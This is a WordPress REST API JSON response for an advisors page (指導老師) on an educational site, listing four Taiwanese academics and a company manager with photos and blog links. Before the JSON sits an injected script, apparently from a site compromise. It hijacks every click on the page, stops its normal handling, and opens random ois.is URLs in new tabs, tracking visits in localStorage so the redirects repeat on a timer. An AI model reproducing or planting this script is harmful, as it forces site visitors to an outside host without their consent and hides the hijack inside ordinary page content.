<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":9,"date":"2019-07-10T10:04:57","date_gmt":"2019-07-10T02:04:57","guid":{"rendered":"http:\/\/edu.secda.info\/digitoem\/?page_id=9"},"modified":"2020-11-13T10:16:59","modified_gmt":"2020-11-13T02:16:59","slug":"%e6%8c%87%e5%b0%8e%e8%80%81%e5%b8%ab","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/digitoem\/?page_id=9","title":{"rendered":"\u6307\u5c0e\u8001\u5e2b"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"9\" class=\"elementor elementor-9\" data-elementor-settings=\"[]\">\n\t\t\t\t\t\t<div class=\"elementor-inner\">\n\t\t\t\t\t\t\t<div class=\"elementor-section-wrap\">\n\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-7808b3c elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"7808b3c\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t\t\t<div class=\"elementor-row\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-f515e0a\" data-id=\"f515e0a\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-3226612 eael-team-align-eael-team-align-default elementor-widget elementor-widget-eael-team-member\" data-id=\"3226612\" data-element_type=\"widget\" data-widget_type=\"eael-team-member.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\n\n\t<div id=\"eael-team-member-3226612\" class=\"eael-team-item eael-team-members-simple \">\n\t\t<div class=\"eael-team-item-inner\">\n\t\t\t<div class=\"eael-team-image\">\n\t\t\t\t<figure>\n\t\t\t\t\t<img src=\"https:\/\/edu.secda.info\/digitoem\/wp-content\/uploads\/2020\/11\/phil999.png\" alt=\"\">\n\t\t\t\t<\/figure>\n\t\t\t\t\t\t\t<\/div>\n\n\t\t\t<div class=\"eael-team-content\">\n\t\t\t\t<h3 class=\"eael-team-member-name\">\u8521\u653f\u5b89<\/h3>\n\t\t\t\t<h4 class=\"eael-team-member-position\">\u5be6\u8e10\u5927\u5b78\u4f01\u7ba1\u7cfb \u526f\u6559\u6388<\/h4>\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<ul class=\"eael-team-member-social-profiles\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li class=\"eael-team-member-social-link\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"\/\/edu.secda.info\/phil999\/\"  target=\"_blank\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"fab fa-wordpress\"><\/i>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/ul>\n\t\t\t\t\t\t\t\t\t\t<p class=\"eael-team-text\"><\/p>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-5bfc85a\" data-id=\"5bfc85a\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-9d553e4 eael-team-align-eael-team-align-default elementor-widget elementor-widget-eael-team-member\" data-id=\"9d553e4\" data-element_type=\"widget\" data-widget_type=\"eael-team-member.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\n\n\t<div id=\"eael-team-member-9d553e4\" class=\"eael-team-item eael-team-members-simple \">\n\t\t<div class=\"eael-team-item-inner\">\n\t\t\t<div class=\"eael-team-image\">\n\t\t\t\t<figure>\n\t\t\t\t\t<img src=\"https:\/\/edu.secda.info\/digitoem\/wp-content\/uploads\/2020\/11\/Fur-HsingWen_.png\" alt=\"\">\n\t\t\t\t<\/figure>\n\t\t\t\t\t\t\t<\/div>\n\n\t\t\t<div class=\"eael-team-content\">\n\t\t\t\t<h3 class=\"eael-team-member-name\">\u6eab\u798f\u8208<\/h3>\n\t\t\t\t<h4 class=\"eael-team-member-position\">\u6771\u5433\u5927\u5b78\u570b\u8cbf\u7cfb \u5c08\u4efb\u6559\u6388<\/h4>\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<ul class=\"eael-team-member-social-profiles\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li class=\"eael-team-member-social-link\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"\/\/edu.secda.info\/wenft\/\"  target=\"_blank\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"fab fa-wordpress\"><\/i>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/ul>\n\t\t\t\t\t\t\t\t\t\t<p class=\"eael-team-text\"><\/p>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-a37dac1\" data-id=\"a37dac1\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-b201c0b eael-team-align-eael-team-align-default elementor-widget elementor-widget-eael-team-member\" data-id=\"b201c0b\" data-element_type=\"widget\" data-widget_type=\"eael-team-member.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\n\n\t<div id=\"eael-team-member-b201c0b\" class=\"eael-team-item eael-team-members-simple \">\n\t\t<div class=\"eael-team-item-inner\">\n\t\t\t<div class=\"eael-team-image\">\n\t\t\t\t<figure>\n\t\t\t\t\t<img src=\"https:\/\/edu.secda.info\/digitoem\/wp-content\/uploads\/2020\/11\/kevin.jpg\" alt=\"\">\n\t\t\t\t<\/figure>\n\t\t\t\t\t\t\t<\/div>\n\n\t\t\t<div class=\"eael-team-content\">\n\t\t\t\t<h3 class=\"eael-team-member-name\">\u8cc0\u5fb7\u5d07<\/h3>\n\t\t\t\t<h4 class=\"eael-team-member-position\">\u5d07\u8000\u570b\u969b \u7e3d\u7d93\u7406<\/h4>\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<ul class=\"eael-team-member-social-profiles\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li class=\"eael-team-member-social-link\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"\/\/si.secda.info\/kevinho_blog\/\"  target=\"_blank\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"fab fa-wordpress\"><\/i>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/ul>\n\t\t\t\t\t\t\t\t\t\t<p class=\"eael-team-text\"><\/p>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"elementor-column elementor-col-25 elementor-top-column elementor-element elementor-element-024859f\" data-id=\"024859f\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-column-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t<div class=\"elementor-widget-wrap\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-ff97117 eael-team-align-eael-team-align-default elementor-widget elementor-widget-eael-team-member\" data-id=\"ff97117\" data-element_type=\"widget\" data-widget_type=\"eael-team-member.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\n\n\t<div id=\"eael-team-member-ff97117\" class=\"eael-team-item eael-team-members-simple \">\n\t\t<div class=\"eael-team-item-inner\">\n\t\t\t<div class=\"eael-team-image\">\n\t\t\t\t<figure>\n\t\t\t\t\t<img src=\"https:\/\/edu.secda.info\/digitoem\/wp-content\/uploads\/2020\/11\/chewei01.jpg\" alt=\"\">\n\t\t\t\t<\/figure>\n\t\t\t\t\t\t\t<\/div>\n\n\t\t\t<div class=\"eael-team-content\">\n\t\t\t\t<h3 class=\"eael-team-member-name\">\u5f35\u54f2\u7dad<\/h3>\n\t\t\t\t<h4 class=\"eael-team-member-position\">\u53f0\u7063\u9ad4\u80b2\u904b\u52d5\u5927\u5b78 \u526f\u6559\u6388<\/h4>\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<ul class=\"eael-team-member-social-profiles\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<li class=\"eael-team-member-social-link\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"\/\/edu.secda.info\/chewei\/\"  target=\"_blank\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<i class=\"fab fa-wordpress\"><\/i>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t<\/li>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/ul>\n\t\t\t\t\t\t\t\t\t\t<p class=\"eael-team-text\"><\/p>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"<p>\u8521\u653f\u5b89 \u5be6\u8e10\u5927\u5b78\u4f01\u7ba1\u7cfb \u526f\u6559\u6388 \u6eab\u798f\u8208 \u6771\u5433\u5927\u5b78\u570b\u8cbf\u7cfb \u5c08\u4efb\u6559\u6388 \u8cc0\u5fb7\u5d07 \u5d07\u8000\u570b\u969b \u7e3d\u7d93\u7406 \u5f35\u54f2\u7dad \u53f0\u7063\u9ad4\u80b2\u904b\u52d5\u5927\u5b78 \u526f [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"parent":0,"menu_order":3,"comment_status":"closed","ping_status":"closed","template":"","meta":{"cybocfi_hide_featured_image":""},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages\/9"}],"collection":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9"}],"version-history":[{"count":29,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages\/9\/revisions"}],"predecessor-version":[{"id":1821,"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=\/wp\/v2\/pages\/9\/revisions\/1821"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/digitoem\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}